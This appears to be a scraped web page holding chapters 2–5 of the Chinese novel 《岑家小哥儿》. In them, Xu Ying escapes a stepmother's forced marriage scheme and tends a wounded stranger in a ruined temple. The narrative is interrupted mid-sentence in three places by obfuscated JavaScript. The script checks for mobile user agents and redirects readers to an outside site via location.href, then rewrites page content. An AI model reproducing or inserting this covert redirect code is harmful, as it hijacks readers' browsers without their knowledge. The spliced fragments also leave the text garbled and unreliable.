《岑家小哥儿》 2. 争执 这天,徐应同王四娘吵嘴。不过大多是王四娘在骂他,徐应偶尔会应一两句,就这样还是气得王四娘少给他吃食或不给。 徐应无所谓,一旦徐有信因为下地只有晚上回来,王四娘便经常少他一顿饭吃。但她毕竟不是时时刻刻守着厨房。 徐家厨房有个小窗户,虽然王四娘从里面用一根木棍顶住。但只要那根稻草绑着木棍中间一拉,木棍也能被人从外面拉着顶住窗户。 徐应这么多年早就学会趁王四娘不在,偷偷溜进厨房,拿走一些粮食好不被发现,实在不行就上山摸野果。虽然吃不饱,但不至于饿死。 这边王四娘同徐应吵完嘴,收拾了东西出门去寻王嫂子。俩人是同村的,平日常聚在一起。王四娘刚来时就和人闹得不愉快,后来更是传出了她不好相与的话。 而这王嫂子是个大嘴巴,跟村里谁都能唠嗑。哪怕人家不搭理她,也能凑上去闲话半天。 王四娘就是看准了这点,有意和她交好,经常往她家去,聊得最多的就是她在徐家如何不容易、后娘如何不好做,好让王嫂子传出去。 刚刚进王嫂子家门,王嫂子一把拉住她,扭头看了看四周,做贼似得。 “有信他家的,应哥儿同六赖子那事如何?” 什么事?这几天徐应除了气她躲懒,什么也没和她说过,徐有信也不可能会瞒着她。 王嫂子一看她这样神色怕是不知情,还挺惊讶。“你竟不知?” 王四娘眼珠子一转,挽住王嫂子的手,很是亲密。“诶哟嫂子,你可别和我打哑谜了。应哥儿同我的关系你又不是不知,后娘难做。我是个不爱出门的,也没几个朋友,不像嫂子人缘是顶顶好,消息总是比我灵通。” 王嫂子一听这话顿时笑开了,王四娘子安山村与一些人有嫌隙她是知道的,好几个夫郎嫂子说她不好相与,可她与王四娘相处得这般好,不正说明她在为人处事这方面有本事吗? “这应哥儿着实不懂事,这样的事都不与家中人说。我也是恰好经过六赖子家才得知,不曾想你不晓得” 王四娘心中不屑,什么恰好经过,怕不是四处特意去溜达看哪家有热闹可看,但脸上还是挂着笑。“六赖子家?应哥能同六赖子有什么牵扯,那六赖子可不是个好的。” “我听了一耳朵,说是六赖子喝多了追着应哥儿跑,恰好遇到里正了。这不,里正当即压着人去了六赖子家,六赖子他爹棍子都快打折了。”王嫂子抖了抖身子,那棍子好似打在她身上一般。 里正到了六赖子家将事情说了,才发现王嫂子不知道何时站在门口。想到了她平日的行径便叮嘱她不可外传,不过在王嫂子看来跟王四娘说也没什么,毕竟她同徐应也是一家人。 竟是这种事,王四娘心思活络起来。虽然这事不算严重,又有里正为徐应做证他同六赖子没什么,但不是不可运作。想到她娘家二嫂的侄儿许诺到,若将徐应嫁给他,就给厚厚的彩礼,心就痒起来。这事王嫂子已知晓,那这个村子里就会有更多人知晓。 同王嫂子闲话几句后,便回家拾了几枚鸡蛋和一把子鲜嫩的荠菜就往林水村去了。再回家时,脸上笑盈盈的,也不拿话刺徐应了,这让徐应有了很不好的预感。 这日,徐涛吵嚷着要吃些好的。王四娘拗不过儿子,就差使徐应去山脚下买块豆腐回来,准备晚上做豆腐炖猪肉。 今晚有肉吃,徐应也乐得跑这一趟,顺路去收他摊在空地上晒的车前草。 这块地方是徐应找野果子时偶然发现的,若从山上的路走则要走上半个时辰。再翻过一个较陡的坡,坡上全是尖锐的石头,一个不注意就会划伤摔倒。 但绕到山后的话,从河边一条都是泥的小路走过去,再拐几个弯就能到。这条路窄而多泥,多条小道连在一起,若是不识路的人怕是要迷在里边。路上也多是杂草和树木,故没什么人走,倒是便宜了徐应。 徐应从后山走去,将车前草收好,将大树下的一块石头挪开赫然是一个小洞。徐应平时采的东西不好拿回去就放在这存着,等王四娘、徐有信等人出门了便悄悄拿着去镇上换钱。将东西放好规整好地方,徐应直奔豆腐坊。 安山村的豆腐坊开了许久,如今传到第三代是一对夫夫在经营,豆腐嫩滑,口感十分好,一文钱就能买到一大块。 徐应到豆腐坊拿出一文钱递给何夫郎,何夫郎接过钱却没立马给他拿豆腐。“应哥儿常来,里头有刚刚好做好的,不如同我去拿。” 徐应疑惑,这豆腐坊的豆腐每日都现做,卖不完都是豆腐坊自家吃了,怎么样都是好的。只是不等他说什么,何夫郎撩开帘子就将他拉了进去。 何夫郎欲言又止,徐应了然,怕是有什么事要同他说。 “应哥儿那事我听说了,没甚大碍吧?”何夫郎小心翼翼打量着徐应。 徐应一思索,当即明了是哪件事,没想到最后还是传了出来,可又不见六赖子闹事。“夫郎不必担心,当日幸得李叔帮忙,没甚大碍。” 何清听罢此事有里正插手,放松了些,但随即细眉轻蹙。“此事里正也知?” 徐应看他神色心道不好,“是,赖子叔喝多了,路上犯浑,想抢我去给爹送的吃食,路上遇到李叔替我摁住了赖子叔。李叔说替我去送东西,我便马上回家了。” “可我那日听王嫂子同人说的是你与赖子拉拉扯扯,闹得六赖子挨了好一顿打。”何夫郎将豆腐递给徐应,那天他提着帕子打算去找交好的夫郎嫂子一同做绣活,不曾想听到王嫂子在说这事。 徐应知道何夫郎这是关心他,脸上露出一个笑“何夫郎放心,此事里正会同我作证,若有什么我便去寻里正为我做主。” 听他着般说,何夫郎放了心,里正很是公正,为人正义。不再留徐应说话,将他送出门。 “这般就好,快回去吧,别耽误了做饭。” 徐应同何夫郎道了谢就往家去,这事既是王嫂子传出来的,想必王四娘也知道了,就是不知道为何一直没提。联想到这几日王四娘对他的态度,心中越发不安,加快脚步往家里走去。 路上也感觉到了有目光在打量他,有好奇、有鄙夷、有同情…… 回到家中天已见暗色,王四娘正要同往常一样骂他,但想到什么还是没说出口,笑着接过徐应手里的豆腐。“今日豆腐坊生意不错吧,去恁久。”徐应看她这般觉得不对,嗯了一声没再作答。 王四娘见他这样也不多说什么,转头支使徐秋兰烧火,准备做晚饭。 待徐有信、徐涛从田里回家,王四娘已经做好了饭菜。一小块肥猪肉煸出油,变得焦黄,铲出来炒了两个鸡蛋才开始用肉炖豆腐。 徐家的日子一直过得还不错,徐有信肯干活赚钱,徐家二老哪怕分家了也乐得补贴徐有信这个独子和徐涛这个孙子,所以徐家隔三差五便能吃上一顿肉或者鸡蛋。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234048|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >王四娘将两个菜做好,直接加水放了把野菜进去,这样三个菜都是带荤的。徐涛看了眼,撇撇嘴“又吃糙米啊。” 王四娘一巴掌拍他肩膀上“还不知足,不年不节的还想吃白米!” 徐涛切一声,待徐有信动筷子后也吃了起来。徐应心里藏着事情,没怎么动筷子,只扒这碗里的糙米饭。王四娘看到还给他夹了一筷子猪肉,这下不仅徐应觉得不对劲,就连徐有信也怪怪看了王四娘一眼。 王四娘咧嘴一笑“应哥儿多吃点,你有些瘦了,不吃胖些怕是有人心疼咯。” 徐应闻言眉头一跳,只是还不等他答话,徐涛就插嘴“谁会心疼他?” 王四娘瞪徐涛一眼,这憨傻的!徐应亲爹还在呢,这话不就是说徐有信这个亲爹不待见亲子么。徐涛看王四娘瞪他,有点摸不着头脑,不如多吃点饭吧。 没有人问徐秋兰话,她一向是不做声的。而徐有信不知王四娘要做什么,为了防止做错了什么她闹腾起来,也不作声。没有人搭话王四娘也不觉尴尬,脸上笑得更乐。 “还不是我娘家二嫂那亲戚,张家大源。年前远远见过应哥儿一面,便相上了。这不四处打听到我这,托我跟应哥儿好好说说,想亲上加亲呐。” 原来是打着这个心思,那个人他知道,名叫张大源,林水村人。知道他并不是见过他,而是这人早就出了名。总是我娘说、我娘说地挂着嘴边,没个自己的主意,张母却觉得自家儿子贴心,将来必定孝顺。 且张大源此人为人矮小,又不爱干净。这就算了,路过哪里总当着人家面顺些什么东西才肯走。就这样,张母还觉得张大源身为男人却很会过日子,因此好人家都不愿让自家哥儿、姐儿嫁与他。 见徐应不说话,脸色也沉了下来,王四娘就知道这事没有那么容易。但她也不怕,又给徐应夹了一筷子菜。 “你看那张家说不计较你同那赖子的事,愿意娶你过门。张娘子本来可想给大源娶个姐儿的,可大源就喜欢哥儿,还可心你,这可是一门不可多得的亲事。” “什么事?我怎么不知道。”徐有信语气沉下来,徐应婚事这事王四娘从没和他提过,何况其中还有六赖子的事情。 王四娘扯出一个笑,安抚自家男人。“嗨,就前几日我差他同你去送饭食,他一下去了好久,我本以为他是躲懒去了,不曾想他是同赖子在外拉拉扯扯!” 不等徐有信作反应,徐应将碗筷重重一放“王婶言重了,那日那日赖子叔喝多了,许是喝得胃里难受,看见我带着吃食就想来吃,何况当日里正也及时制止住了赖子叔,不知王婶口中的拉拉扯扯是何意。” 自王四娘进门起,徐应便叫她作王婶。 徐有信不满地看王四娘一眼,呵斥“既有里正在,瞎说这些做什么!” “我这不是替咱家着想,出这么大事应哥儿不同你这当爹的说就算了,还叫人知道了,怕是村子里都传遍了。”王四娘故作委屈。 这话属实厉害,暗示徐有信徐应并不把他这个亲爹放心上,点明村里人大多都知道了六赖子同徐应拉扯。 徐有信最好面子且愚孝,认为当子女的就该孝顺、遵从父母。他重重一拍桌子“混账东西,怎如此糊涂出这等事,让全家人和你丢脸,也不同我说!” 徐应觉得好笑,为什么不同他说这事徐有信当真不知吗?徐应知道这件事一旦被王四娘知道定会作怪,可还是忍不住阵阵发寒。 3. 逃离安山村 多说无益,徐应站起身抬脚往外走去,决定去请里正。王四娘暗叫不好,若是将里正请来了,怕是不好,忙去拦人。徐应躲过王四娘伸来拉他的手,快步走到门前用力打开,清了清嗓子高声。 “我不知王婶为何觉得同林水张家结亲会是好亲事,可我知道同赖子叔拉扯这一事不曾有。若是这般胡说,我这就请里正来为我主持公道!” 这个时辰大家都在吃晚饭,关起门来自家说说话,村子里静悄悄的。徐应这一喊,像在安静的湖面投下一颗石子,住得近的人家纷纷竖起耳朵,听听是何事。 与其让人背后乱传,不如自己点破了,徐应是不会让王四娘的如意算盘得逞。王四娘想拿闲话逼他就范,这一步算是走错了。他本就无错,是不会让所谓的名声成为逼迫他就范的工具。 王四娘连忙将徐应往家里拉,就连徐有信也起来将他拉回去,在徐有信看来这是家丑,徐应的所作所为就是在外扬家丑。 “你这是做什么!就算你不想嫁那张大源,爹再替你寻一门好亲事就是,嚷嚷什么。” 若只王四娘,断然是拉不住徐应,可加上徐有信就不一样,徐有信正直壮年,一把力气。徐应从前只是对这个爹心寒,如今却是有些恨意了。 他不明白,哪怕他是个要外嫁的哥儿,但也是他的孩子,还是他第一个孩子。那张大源是什么人,附近几个村子都知道。如今说得好听,只要王四娘吹吹枕头风他也会松口。 “我竟不知王婶何时开始做起媒人行当,张家与王婶多少好处,如此卖力。”徐应猜想许是张家给了王四娘什么好处,所以她极力想要促成这门婚事。 王四娘闻言脸色微变,徐应想得没错。徐应还想说什么,一阵敲门声伴着李峥的声音传来。 “徐家的,开开门!” 原来是隔壁的婶子听到徐应话中提到了里正,赶忙回屋让自个男人去请李峥来,免得出什么事。 人都到了门口,徐有信不得不去开门将人请进来。李峥进门后,王四娘还未说什么,徐应便言简意赅将事情说了一遍。“叔,你可要替我做主,我同赖子叔几时拉拉扯扯了。” “胡闹,那日我也在场,就是那六赖子喝多了想抢食,所以我才扭送他家去。你们这般还讲不讲道理了!”那日李峥撞见王嫂子就知不好,叮嘱她不得将此事说出去。可才过了多久,事情就乱传了出去。 王四娘讪笑,“说笑了说笑了,应哥儿不曾同我们说过这事,我也是着急,才乱说话。谁知道他性子急,一听就直往外嚷嚷,劳累里正走一趟了。”说着倒了碗水递给李峥。 李峥摆了摆手,并不接。 那日六赖子被狠狠打了一顿,赖子爹也再三保证这件事不会传出去,谁知坏在了王嫂子头上。李峥心中微叹,他成亲迟,生子也晚。他老娘又很喜欢孩子,所以经常在村子里同孩子说笑,徐应小时候乖巧,又早早没了娘,很是得他老娘喜欢。但徐应到底是个未婚的小哥儿,这事他不能插手太多,只得沉着脸训斥了徐家人一番。 “你既叫我叔,我就不会放任流言四起,你且安心。”走前李峥安慰徐应一番,他是个男人不好掺合进女人堆里,但可以让他媳妇去,毕竟他前几天押着赖子回家和今天来徐家可是很多人看到了,横竖都会有人八卦,正好借机解释清楚。 徐应将李峥送到门口,远远看到他奶赶过来了。一看到徐应狠狠瞪了他一眼,转身进门就劈头盖脸冲王四娘问话,王四娘急忙将她拉进门去,关起门来说小话。徐有信沉着一张脸,徐秋兰默默坐着,只有徐涛继续端起碗吃得正欢。 等二人出来,徐老娘关心了徐有信、徐涛一番便走了。接下来几天徐家每天都处在大大小小的争吵中,徐应算是看明白了,无论有没有六赖子这件事,王四娘都会让嫁给张大源。 最后一次争吵在一个碎碗和王四娘骂声里终止。 …… 徐应放空的眼神逐渐聚焦,蹭地一下站起来,下定决心要去做他一直要做的事情,只是这个进程提前了许多,不过并不打紧。他攥紧拳头给自个打气,择日不如撞日,去他的徐家。 此时家中王四娘也冷静了下来,认为徐应孤立无援,一定会妥协。出门去找徐婆子,商量如何让徐应就范,二人都商讨好作何用途了。 徐应回到家中未见王四娘,走到院子西面的墙角边。 这里一般是堆放柴火的地方,徐家只有徐应和徐秋兰会去拾柴,烧火也多是他们二人去做,因此相对安全。徐应也曾想放在身上,但怕一不留神就掉了出来,那可就不好了。 瞧着四周无人便快速将几捆柴挪开,再掀起防潮的稻草,抽出其中一块砖。里面藏着徐应从十岁起就攒的钱,几块碎银子和十来个铜板,共一两六钱。 将钱藏在身上后,徐应将地方快速恢复原样。进屋去收拾衣衫,徐秋兰与他同住一间房,中间只一道帘子隔开。此时徐秋兰并不在房中,徐应快速收拾好包袱,塞到枕头下,便躺下歇息,毕竟养好精神才能赶路。 是夜,徐家人都睡下了。徐应提着包袱,轻手轻脚地走出去。来到厨房用老法子翻进去,拿了些饼子塞进包袱里。走到门口正要关门,隐隐约约看到一个人影,定睛一看却是徐秋兰,徐应的汗毛瞬间立起来。 徐秋兰脸色很是震惊又带着她自己都察觉不出的佩服,不过徐应却没有心思去看,只担心徐秋兰会不会叫唤。毕竟平日里二人虽无怨恨但并不亲厚,他跑了徐秋兰可是第一个要被问责的。 二人在夜色中就这般对峙着,风吹过,扬起几缕青丝。 徐秋兰嘴抖动了一下,最终还是没说什么。她走上前一把将徐应推出门去,将轻轻合上门,周围一片静悄悄。 徐应没时间捋清他此刻的情绪,他还得赶着去见他姥爷、他娘最后一面。将包袱往身上一挎,快步离开。 徐应的姥爷是个挑着担子四处奔走的货郎,姓岑。他姥姥当年生下他娘时难产,生下孩子没多久就咽了气。孩子刚刚生下来就没了娘,哭声比猫叫还弱,老货郎心中悲痛,但不得不肩负起照顾幼子的责任。将孩子取名岑岁安后,便拿背篓将孩子背着继续做货郎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐应本想前往阕州,与如今所在的岐州相邻,那里民风较为开放,对哥儿姐儿的限制没有那么大。只因阕州多商人,曾出巨贾,与夫郎育得一哥儿,巨贾心疼夫郎经历生育之苦,便不打算再生育,对着唯一的小哥儿悉心照顾、教他经商。不服的人便用钱砸服,仍不服的人占据少数,不敢多言。 只是州与州之间人员往来须出示带有官印的文书,徐应不敢去冒这个险去要文书,只得考虑去进宝县。 岐州辖下四个县,府城位于中心,四个县分别是对应东西南北的平阳县、青山县、安山村所在的晋水县,再就是进宝县。 进宝县毗邻阙州,受到阙州一定的影响,是岐州除府城外经济最发达的地方,近几年隐隐有赶超的趋势。如果说晋水县是种地的好去处,那么进宝县就是做生意的好去处。 徐应往常去医馆送草药时听别人说起,从府城去进宝县得一百里路,这晋水县和进宝县一最南、一最北,怕是要走更远。徐应长那么大到过最远的地方就是晋水县,从安山村走到晋水县最多二十里路。 细细计划着徐应自己都吓了一跳,也不知道哪来的勇气走那么远,稍有不慎就可能发生祸事。但他宁愿去做乞丐、死在路上,也不再想回到徐家。安山村很好、李叔很好、何夫郎很好、隔壁婶子阿叔很好,但那没有他的家人,这些很好的人也不能护着自己一辈子。 待在王四娘看得见的地方,王四娘就会死死缠上来吸血,哪怕他嫁给张大源,王四娘也会以继母的身份从张家要好处,徐应不愿同这种人纠缠一生。 徐应朝着进宝县的地方前行,天色渐明,阳光打在他身上。徐应脚步越来越快,最后竟是跑了起来。从他娘去世起,他头一次这么快活。 哪怕前路未知,却是新生。 4. 破庙初遇 徐应……不,现在该叫岑应了。 不到中午岑应就到了晋水县,买了火折子、一些防虫、止血的药粉,为后头可能要露宿野外做准备。 路边有人在卖野菜团子,切碎的野菜同玉米面、粗粮面和在一起,上锅蒸熟了。现在的天气,留个两三天不是问题。三个铜板两个,岑应要了四个。 岑应准备好东西,打算继续赶路。除去县城里的茶水要贵些这个因素,也怕遇到相识的人,他现在的样子一看就是要去赶路的装扮。 一声轻佻的口哨响起,一个流里流气的男人挡住了岑应的去路。 “小郎君,上哪去啊,要不要哥哥我护送你一程。” 岑应板起脸,不搭理。 “去去去,官差大人刚从这边寻过去,你是要我老头子将他唤回来吗。”卖野菜团子的老伯挥动汗巾,驱赶这流氓。 男人嘻嘻哈哈并不惧怕,但也未纠缠,嬉笑两声就转身走了。 “小郎君,看你是要赶路,可否有家人陪同?”老伯眼中满是关切。 岑应同老伯道谢,“多谢老伯出手相助,我家中人在前边等我,我这就前去。” 老伯笑应两声,咧开了缺牙的嘴,看着很是和善。 这事倒给岑应提了个醒,在治安好的地方还好,可若在荒郊野外遇见不轨之徒,可就不妙了。 岑应往另一条街走去,趁人不注意闪身进了一条小巷中。再出来时白净俊秀的小哥儿不见了,摇身一变成了灰头土脸的已婚夫郎。 岑应用一根发带将头发全部盘了上去,再将脸抹灰,身上的衣服也是灰扑扑的,整个人一下子变得不起眼起来。 岑应微微躬着腰身,不去直视人的眼睛,来到野菜团子老伯摊前,掐着嗓子。 “老伯,往进宝县是打这边走吗?” “啊,进宝县……远着咧,从这条路直走出城门,顺着这个方向一直走就是。” 见老伯没有认出自己,岑应对自己的装扮更是满意。再次同老伯道谢,转身离去。 出了晋水,岑应选择走官道。虽然小路能少走一些路程,但到底不如官道安全。官道上不仅有其他赶路人,偶尔也有官差送信、运货。 走到下午,岑应喉咙干得冒烟,脚步虚浮,只期盼能早点遇到茶水铺子,好歇歇脚。 他还是高估了自己的体能,也低估了独自走远路的难度。不仅要提高警惕防止有人不怀好意,还得计着自己走到了哪里、还要赶多少路,路上在何处歇息。 也许老天爷疼了他一把,脑子里正想着甘甜的水,眼睛里就看到了不远处的茶铺子。岑应心中大喜,连忙上前,要了一碗茶水。那圆脸老板娘看他累成这样,忙招呼他坐下,待岑应将水灌下肚里,才活了过来。 他打量着这间不大的茶水铺子,只有几个人在歇息,都拿着行李,也是赶路的人。老板娘圆润和善,见他水喝完了又主动替他添了一碗。岑应忙掏钱,却被老板娘推了回去。 “不要你钱,来我们这喝水都不收钱。”老板娘声音清亮,脸上笑呵呵。 岑应诧异,居然不要钱。要是在晋水县城里,哪怕可以续茶,也是要两文钱的。续得多了,店小二还会客气请你走。 老板娘看他这般惊讶,也不觉得奇怪,毕竟岑应不是第一个觉得惊讶的人。 “这铺子后不远就是我家,水是我男人从山上担来的,柴也是从那上头拾来的。就出点茶叶子和力气,要不了什么钱。大家赶路也不容易,歇个脚喝口水我这小铺子还是供得起的!” 老板娘爽朗的模样感染了岑应,让疲惫也消退了些。另一边有人在喊老板娘,她应了一声又转头招呼岑应。 “夫郎坐着好好歇息,有何需要再唤我。”说完也不等岑应回答,继续招呼客人。 茶铺中有客人在用饭:一碟萝卜咸菜、一碟炒鸡蛋,就这样夹放到粗粮饼上。将饼卷起来,一口下去,咸香又不失韧劲,让人吃得很香。岑应看得肚子咕嘟叫,将路上吃了一半的饼子也拿了出来,就着茶水吃下去。填饱了肚子,解了渴,四肢也渐渐舒缓开来。 岑应见老板娘这有竹筒,便花了三文钱买了一个半臂长、一拳宽的竹筒,让老板娘灌了好些水进去。重是重些,总好过路上没水喝。 只要顺着官道走过远处那座山,再走上几里路,就有一间供来往行人留宿的地方,一晚上八文,还可差店小二送热水来梳洗。 这是岑应同茶铺其他客人打听来的,打算前去看看,今晚能不能停下歇歇。 岑应同茶铺老板娘告过别,继续赶路。一路上走走停停,终走到了那座山脚下。 此时一声沉闷的雷声炸开,乌云从远处席卷而来,不一会天就全黑了。 岑应暗叫倒霉,这雨看来不小。正思索如何时,突然瞄到前方有一座破庙,被杂草遮住了一半,很不起眼,是以岑应刚才未见。正当岑应还在思索是要继续赶路,还是宿在破庙,雨水哗一下砸了他满头,连眼睛都睁不开了,连忙跑向破庙。 看来今夜还是要露宿野外了,岑应自嘲,但转念一想,自己有吃有喝,现下夜里也不算冷,一边就着饼子、菜团子,就当赏雨、赏山景了。 岑应踏进破庙,发现这儿除了灰大也没甚破漏的地方,当即对这庙更满意了。庙里供奉的观音泥像已经褪色了,岑应双手合十,鞠了三个躬。 “观音娘娘在上,小的途经此地,借您老人家的地盘躲躲这雨,叨扰了。” 站直身子伸了个大大的懒腰,这一天弓着身子走了一天,也就趁没人的时候挺直一会,早就酸得不成样子了。岑应走来走去,看看哪块地方干净些好睡下。不曾想这一看,就看出了问题。 这地上灰多,除去岑应自己的脚印外,还有一道拖拽物体的痕迹。沿着这痕迹看去,竟是直通观音像背后! 岑应转身就想走,可外头正撒欢的暴雨拦住了他。他怂怂地朝观音一拜,从地上捡起一根木棍走到观音像一侧,飞快扔了过去。随后一下子蹿到门口,可过了好一会也不见有什么动静,也许本就没什么东西?他拍拍胸口,给自己顺口气,“胆子这般小怎行。” “救我……”突然有声音从观音像后传出,惊了岑应一跳。 “谁!”岑应大声质问,怎么真有东西啊。 可好一会,再没有什么声音传出。岑应壮着胆子一步步走过去,伸头一瞧。嚯!这哪是没东西,这东西大着呢。 只见一个身上沾满泥灰的高壮男人躺在那里,腿上有伤,伤口已化脓腐烂了,流出来的污血都有些干了,看着黏黏糊糊的。 男人看见岑应,原本吧嗒着的眼猛然睁开,虽然眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234050|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神涣散,但也有些吓人。他喉咙像被堵住了一样,仍用力叫出声。 “救我……” 许是怕岑应见死不救,又开口“求你……”气息虚弱,说完便支撑不住,晕了过去。 岑应被吓了一跳,知道这种情况拖不得了,要快快处理伤口才行。岑应以往给医馆送药材时,偶然见过大夫处理伤口,应当都差不多的。毕竟现在这种情况,岑应不管他他也会死在这里,倒不如赌一把。 男人旁边放着一把刀和一个布袋子,袋子里只有几件衣衫。岑应拿着刀到雨中冲刷干净,采了一大把草药,山中就是这点好,常见的草药长得哪里都是。回去将刀擦干水,又擦了擦伤口附近的血污脓水。岑应举着刀,神色纠结。 虽然决定要帮这人一把,但要他下刀子挖还是有些艰难。他将衣服团巴团巴塞到男人嘴里,狠了狠心就下刀子。 岑应头次干这事,他是真不会,下刀确实重呐……晕死过去的人瞬间痛醒。男人抽搐挣扎,双腿胡乱瞪着。 “你……你别动啊,伤口不清干净怎么上药。”岑应声音颤抖,不知如何下手。 秦松柳闻言极力克制身体因痛苦而产生的反应,脸色涨红,青筋暴起。虽然身体还在微微发抖,但好歹能让岑应下手了。 岑应白着脸,加快手上的动作,将坏死的肉清除。随后今日买的药粉,洒在男人伤口上,再用他自个儿的衣服将伤处缠好。 做完这些岑应出了一身的汗,男人能不能好起来就要看他自己了,毕竟伤口那样严重,岑应用的也不是什么灵丹妙药。 “你要是好起来了可得记得我这份恩情啊……但说好了你要是熬不过去,可不能怪我,不然就是黑心肝的……”岑应碎碎念。 “嗯。” 岑应抬头一看,这男人居然还醒着。虽然声音很小,但他还是听到了他说话。 秦松柳觉得自己脑袋像有几千根针在里边遨游,腿上更是火烧般的疼。从他在这破庙醒过来到今日,已经过去了三天,就连他自己都觉得要交代在这了。没想到有人来了,还好心帮他处理伤口。听到岑应的话心想自己怎么会怪他,哪怕自己熬不过去了,下地府见到阎王爷也要请他老人家为帮他的好心人记上一笔功德。 岑应看男人还醒着,生火用竹筒将水煮沸,扔了把草药进去,煮水给秦松柳喝。又将野菜团子掰碎,混着水喂他吃了些。看着买了没多久的竹筒变得灰扑扑的,岑应有些肉疼。 看男人全吃完了,微微放心,能吃得下东西说明情况还是好的,心中也希望这人可以好起来。毕竟之前受了那么重的伤,孤零零一个人躺在这还怪可怜的。 做完这些岑应累得慌,随便对付几口也歇息了。确定男人有点力气后就将空竹筒放在他旁边,夜里要是有需要就推倒竹筒,他就会起来。按理说伤得如此重,整夜看顾是最好。可他与那男子非亲非故,又不是大夫。伤口如果恶化,身处在这荒庙中,还下着暴雨,他也没什么办法。 而且赶了那么远的路,岑应早就累了,躺下没一会就睡过去了。夜里迷迷糊糊醒了几次,看人状态还可以才又睡死过去。 秦松柳将一切看在眼里,心中又是感激又是悲凉。萍水相逢之人尚能如此,相熟之人却害他至此。但无论如何,只要他秦松柳有命活着,就会报答此人恩情。 5. 共同前往进宝县 春雨如油,山中万物并未被昨日的暴雨吓退,争先恐后地挣扎生长。 岑应打开破庙的大门,阳光照进来打在观音像上,更显慈悲。 今天是个好天气。 岑应拿着竹筒往外走,打算去取些水回来。虽然竹筒烧得黢黑,好在并没有漏,就是不能继续烧下去了。岑应从叶子上收集雨水将竹筒灌满,顺便洗了把脸。摘了些他认得的野果子,又薅了几把草药,才往回走。 回到去秦松柳正躺在火堆边,这种天气本不用生火取暖,但秦松柳失血过多,身体一阵阵发冷,岑应便捡庙中散落的木头生了一堆火。 看见岑应回来,秦松柳挣扎着要起身,岑应忙一把将他摁住。 “快躺着,身上伤还没好就不要乱动了。” 秦松柳被摁着动不了,没想到这人看着瘦弱,手劲却不小。 “多谢夫郎出手相助,在下姓秦,名松柳,进宝县齐家村人士。”秦松柳主动开口介绍自己。 居然是进宝县人,进宝县不是离这挺远的吗,难怪一个人躺在这,怕是受伤了家里人都不知道。 岑应用长木棍翻了翻火堆,“叫我岑应就是。” “我也没做什么,是你自个争气。”岑应笑眯眯的,觉得事实确实如此,并不邀功。这人伤口都烂了,昨日给他用的药也是寻常止血药,人不仅没发高热,今日状态看着也很不错。 秦松柳被那笑容晃了晃眼睛,“我自幼身子健壮,不易生病。但我身受重伤,又多日滴水未进,昨日若不是夫郎,秦某怕是要交代在这。往后夫郎要是有用得上秦某的,只管开口,秦某赴汤蹈火也会报答恩情。” “行,只要郎君到时不嫌麻烦就行。”出门在外,朋友能多一个就是多一个,岑应看这秦松柳也不像什么坏人。 岑应将裹着伤口的衣服扒走,伤口虽还在出血,但并不多,颜色鲜红。将瓶子里的药全倒了上去,没有东西给秦松柳裹伤口,就叮嘱他不要乱动。 现下他手上已经没什么吃的了,药也用完了,最多明天就要离开这儿,可秦松柳这个情况,半个月都未必能下地走路。 秦松柳看他神色,对他岑应所想猜了个大概。手在身上摸索了一会,掏出五两银子递给岑应。 “秦某如今行动不便,劳烦岑夫郎雇一辆车,将秦某送往齐家村。” 五两银子哪怕是雇马车都绰绰有余,这么多银子,这人怎么说给就给的,岑应心里嘀咕着。但转念一想……既然齐家村在进宝县内,自己是不是也能搭一搭顺风车。 岑应将银子拢在手中,“好说好说,我也烦恼怎么带着你离开这呢。不过,我有个不情之请……” “夫郎请说。”秦松柳见岑应肯为他跑这一趟,不由得松了口气。 岑应思索了一会,决定还是扯个谎。虽然这秦松柳看着不像坏人,可他们才认识没多久。自己做的事可能自个觉得没什么,但大多人都觉得惊世骇俗。 “秦郎君看我这般,就能知道我也是在赶路。刚刚听齐家村在进宝县内,不知可否让我同行。” “当然可以。”竟那么巧。 “嘿嘿,我也不白坐你车,一路上定会细心照料你伤处。”岑应可开心了,这样不仅节省了时间还省钱呢,这秦松柳是个不便行动的,也不怕他会做什么。 事不宜迟,岑应收好银子就往先前打听到的客栈去。不知雇车要多少钱,岑应便将钱全部拿在身上,急急下山去。看着岑应风风火火的样子,秦松柳眼眸中的笑意自己都没发觉。 岑应按打听到的情况,向那家客栈走去。许久后,远远看到一间二层的小楼,岑应吁了口气。走进店内,掌柜的正打瞌睡,一手支着脑袋,一手还搭在账本上。 “掌柜的……” 掌柜猛一抬头,“住店呐,男子一楼,哥儿、女子二楼,一人八文。” 岑应见掌柜的眼睛都没完全睁开,就秃噜出话来,也是佩服。 “掌柜的,不知您这可有车可租?” 掌柜手指捻了捻自己的两撇胡子,“啥?” 岑应只得再问一次,这掌柜才清醒过来,上下打量了岑应一番。 “本店只有供采买的骡车,不知夫郎是要?”掌柜的瞧岑应穿得简陋,不像是要租车运货的。 “是这样的,同行的人伤了腿,我们便商量着雇一辆车送我们回家去。不知掌柜这车我们能否租用,如若不行还请掌柜告知哪里可以雇用车马”岑应言简意赅说明来意。 “不知夫郎几人,去往何处。” “二人,前往进宝县齐家村。” 